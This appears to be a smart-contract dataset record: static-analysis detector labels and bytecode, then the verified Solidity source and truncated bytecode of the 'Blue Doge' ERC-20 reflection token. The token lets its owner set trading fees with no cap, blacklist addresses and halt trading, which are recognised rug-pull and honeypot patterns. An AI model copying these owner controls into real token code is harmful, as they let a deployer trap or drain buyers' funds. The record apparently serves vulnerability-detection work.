ff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5050565b600a6020528060005260406000206000915090505481565b6000613521336139d1565b905080151561352f57600080fd5b82600080905060011515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141561359657600190505b8015156135a257600080fd5b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff0219169083151502179055505b5b50505b505050565b60115481565b600080600080600080600080613621336139d1565b905080151561362f57600080fd5b88670de0b6b3a76400008b0201975060019650600088131561366057876014600082825401925050819055506136bc565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff88029750600096507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff88026014600082825403925050819055505b60088054905095506000945060009250600094505b858510156137bf576008858154811015156136e857fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff16156137b157600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192505b5b84806001019550506136d1565b600094505b85851015613989576008858154811015156137db57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff161561397b578288600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054028115156138ab57fe5b04915086156139195781600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055508160116000828254019250508190555061397a565b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282540392505081905550816011600082825403925050819055505b5b5b84806001019550506137c4565b5b5b50505050505050505050565b60008060808373ffffffffffffffffffffffffffffffffffffffff169060020a9004905063ffffffff8163ffffffff161491505b50919050565b6000806000809150600090505b600780549050811015613a71576007818154811015156139fa57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415613a635760019150613a71565b5b80806001019150506139de565b8192505b5050919050565b6000808284019050838110151515613a9057fe5b8091505b5092915050565b6000828211151515613aa957fe5b81830390505b92915050565b815481835581811511613adc57818360005260206000209182019101613adb9190613ba7565b5b505050565b602060405190810160405280600081525090565b6060604051908101604052806000815260200160008152602001600081525090565b815481835581811511613b3e57818360005260206000209182019101613b3d9190613ba7565b5b505050565b815481835581811511613b7057600302816003028360005260206000209182019101613b6f9190613bcc565b5b505050565b815481835581811511613ba257600302816003028360005260206000209182019101613ba19190613bcc565b5b505050565b613bc991905b80821115613bc5576000816000905550600101613bad565b5090565b90565b613c0091905b80821115613bfc576000808201600090556001820160009055600282016000905550600301613bd2565b5090565b905600a165627a7a723058200ee671c98e2fe53728423d06546552e45ef456a85fe5752529ceed9ce16f3cf90029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,035
0xb6e2856a01ff71407fcd97465b6c29107adacb31
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ /** *Submitted for verification at Etherscan.io on 2022-04-14 */ // SPDX-License-Identifier: UNLICENSED /* tg: bluedogeeth */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract bluedoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Blue Doge"; string private constant _symbol = "BDOGE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xa8423b2f0B2459f22aE0B307DdE665aD6157115a); address payable private _marketingAddress = payable(0x244c6754e5D297cE8FeA21DE36516A9D5F24B237); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000 * 10**9; //1% uint256 public _maxWalletSize = 30000 * 10**9; //3% uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600981526020017f426c756520446f67650000000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066038d7ea4c68000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f42444f4745000000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473fffffff